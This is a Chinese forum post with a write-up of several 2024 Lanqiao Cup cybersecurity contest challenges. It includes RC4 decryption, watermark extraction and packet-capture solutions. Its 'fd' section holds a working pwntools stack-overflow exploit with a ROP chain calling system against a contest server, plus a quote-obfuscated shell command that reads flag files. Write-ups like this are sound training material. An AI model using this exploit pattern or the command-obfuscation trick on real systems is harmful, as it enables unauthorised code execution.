2024第十五届蓝桥杯网络安全赛项部门题目 WriteUp

打印 上一主题 下一主题

主题 898|帖子 898|积分 2694

2024第十五届蓝桥杯网络安全赛项部门题目 WriteUp

爬虫协议

根据提示,访问/robots.txt,得到敏感路径 /38063b612387b10e22f4bd0d71a46a4e/,访问此中的/9de33df789dc91e984a091e6dce2dfb1得到flag。
  1. flag{494547b4-f13f-47de-b1a5-a99f20495cd7}
复制代码
packet


使用过滤器tcp contains "flag" 找到flag相关的包,追踪HTTP流得到返回数据ZmxhZ3s3ZDZmMTdhNC0yYjBhLTQ2N2QtOGE0Mi02Njc1MDM2OGMyNDl9Cg==,base64解码得到flag
flag{7d6f17a4-2b0a-467d-8a42-66750368c249}
cc

打开网页,可以得到密文、key和IV,直接使用工具解密:

rc4

根据提示可知为RC4加密,分析程序,猜测Str为密码,v5为密文,将v5转为unsigned char后利用脚本解密可得flag。

脚本:
  1. import base64
  2. def rc4_main(key = "init_key", message = "init_message"):
  3.     print("RC4解密主函数调用成功")
  4.     print('\n')
  5.     s_box = rc4_init_sbox(key)
  6.     crypt = rc4_excrypt(message, s_box)
  7.     return crypt
  8. def rc4_init_sbox(key):
  9.     s_box = list(range(256))
  10.     print("原来的 s 盒:%s" % s_box)
  11.     print('\n')
  12.     j = 0
  13.     for i in range(256):
  14.         j = (j + s_box[i] + ord(key[i % len(key)])) % 256
  15.         s_box[i], s_box[j] = s_box[j], s_box[i]
  16.     print("混乱后的 s 盒:%s"% s_box)
  17.     print('\n')
  18.     return s_box
  19. def rc4_excrypt(plain, box):
  20.     print("调用解密程序成功。")
  21.     print('\n')
  22.     plain = base64.b64decode(plain.encode('utf-8'))
  23.     plain = bytes.decode(plain)
  24.     res = []
  25.     i = j = 0
  26.     for s in plain:
  27.         i = (i + 1) % 256
  28.         j = (j + box[i]) % 256
  29.         box[i], box[j] = box[j], box[i]
  30.         t = (box[i] + box[j]) % 256
  31.         k = box[t]
  32.         res.append(chr(ord(s) ^ k))
  33.     print("res用于解密字符串,解密后是:%res" %res)
  34.     print('\n')
  35.     cipher = "".join(res)
  36.     print("解密后的字符串是:%s" %cipher)
  37.     print('\n')
  38.     print("解密后的输出(没经过任何编码):")
  39.     print('\n')
  40.     return cipher
  41. a=[182,66,183,252,240,162,94,169,61,41,54,31,84,41,114,168,99,50,242,68,139,133,236,13,173,63,147,163,146,116,129,101,105,236,228,57,133,169,202,175,178,198] #cipher
  42. key="gamelab@"
  43. s=""
  44. for i in a:
  45.     s+=chr(i)
  46. s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
  47. rc4_main(key, s)
复制代码
得到flag:
解密后的字符串是:flag{12601b2b-2f1e-468a-ae43-92391ff76ef3}
缺失的数据

使用压缩包中的secret.txt作为字典破解压缩包中加密的a.png,然后利用题目附带的脚本稍作修改后运行:
  1. import numpy as np
  2. import cv2
  3. import pywt
  4. class WaterMarkDWT:
  5.     def __init__(self, origin: str, watermark: str, key: int, weight: list):
  6.         self.key = key
  7.         self.img = cv2.imread(origin)
  8.         self.mark = cv2.imread(watermark)
  9.         self.coef = weight
  10.     def arnold(self, img):
  11.         r, c = img.shape
  12.         p = np.zeros((r, c), np.uint8)
  13.         a, b = 1, 1
  14.         for k in range(self.key):
  15.             for i in range(r):
  16.                 for j in range(c):  
  17.                     x = (i + b * j) % r
  18.                     y = (a * i + (a * b + 1) * j) % c
  19.                     p[x, y] = img[i, j]
  20.         return p
  21.     def deArnold(self, img):
  22.         r, c = img.shape
  23.         p = np.zeros((r, c), np.uint8)
  24.         a, b = 1, 1
  25.         for k in range(self.key):
  26.             for i in range(r):
  27.                 for j in range(c):
  28.                     x = ((a * b + 1) * i - b * j) % r
  29.                     y = (-a * i + j) % c
  30.                     p[x, y] = img[i, j]
  31.         return p
  32.     def get(self, size: tuple = (1200, 1200), flag: int = None):
  33.         img = cv2.resize(self.img, size)
  34.         img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
  35.         img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
  36.         c = pywt.wavedec2(img2, 'db2', level=3)
  37.         [cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c
  38.         d = pywt.wavedec2(img1, 'db2', level=3)
  39.         [dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d
  40.         a1, a2, a3, a4 = self.coef
  41.         ca1 = (cl - dl) * a1
  42.         ch1 = (cH3 - dH3) * a2
  43.         cv1 = (cV3 - dV3) * a3
  44.         cd1 = (cD3 - dD3) * a4
  45.         waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')
  46.         waterImg = np.array(waterImg, np.uint8)
  47.         waterImg = self.deArnold(waterImg)
  48.         kernel = np.ones((3, 3), np.uint8)
  49.         if flag == 0:
  50.             waterImg = cv2.erode(waterImg, kernel)
  51.         elif flag == 1:
  52.             waterImg = cv2.dilate(waterImg, kernel)
  53.         cv2.imwrite('水印.png', waterImg)
  54.         return waterImg
  55. if __name__ == '__main__':
  56.     img = 'a.png'
  57.     waterImg = 'newImg.png'
  58.     k = 20
  59.     xs = [0.2, 0.2, 0.5, 0.4]
  60.     W1 = WaterMarkDWT(img, waterImg, k, xs)
  61.     W1.get()
复制代码
得到 水印.png,打开可以看到flag。
fd

简单的栈溢出,但是要根据题目提示,将cat的输出返回到管道符2中,解题脚本如下:
  1. #!/usr/bin/python3
  2. # -*- encoding: utf-8 -*-
  3. from pwn import *
  4. p = remote("47.93.142.153", 25722)
  5. elf = ELF("/mnt/c/Users/崔志鹏/Desktop/临时/pwn")
  6. start_address = 0x400862
  7. ret_address = 0x04005ae
  8. pop_rdi = 0x0400933
  9. # 64位
  10. context(arch="amd64",os="linux")
  11. stack_len = 0x20 + 0x8
  12. payload = b'\x00'*stack_len + p64(ret_address) + p64(pop_rdi) + p64(0x00601090) + p64(elf.plt['system'])
  13. p.sendline(b"ca''t f*>&2")
  14. p.sendline(payload)
  15. p.interactive() #can can need
复制代码

Theorem


题目脚本中p、q是相邻的素数,间距较小,利用工具中的费马分解得到p、q,随后即可得到私钥及明文。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王海鱼

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表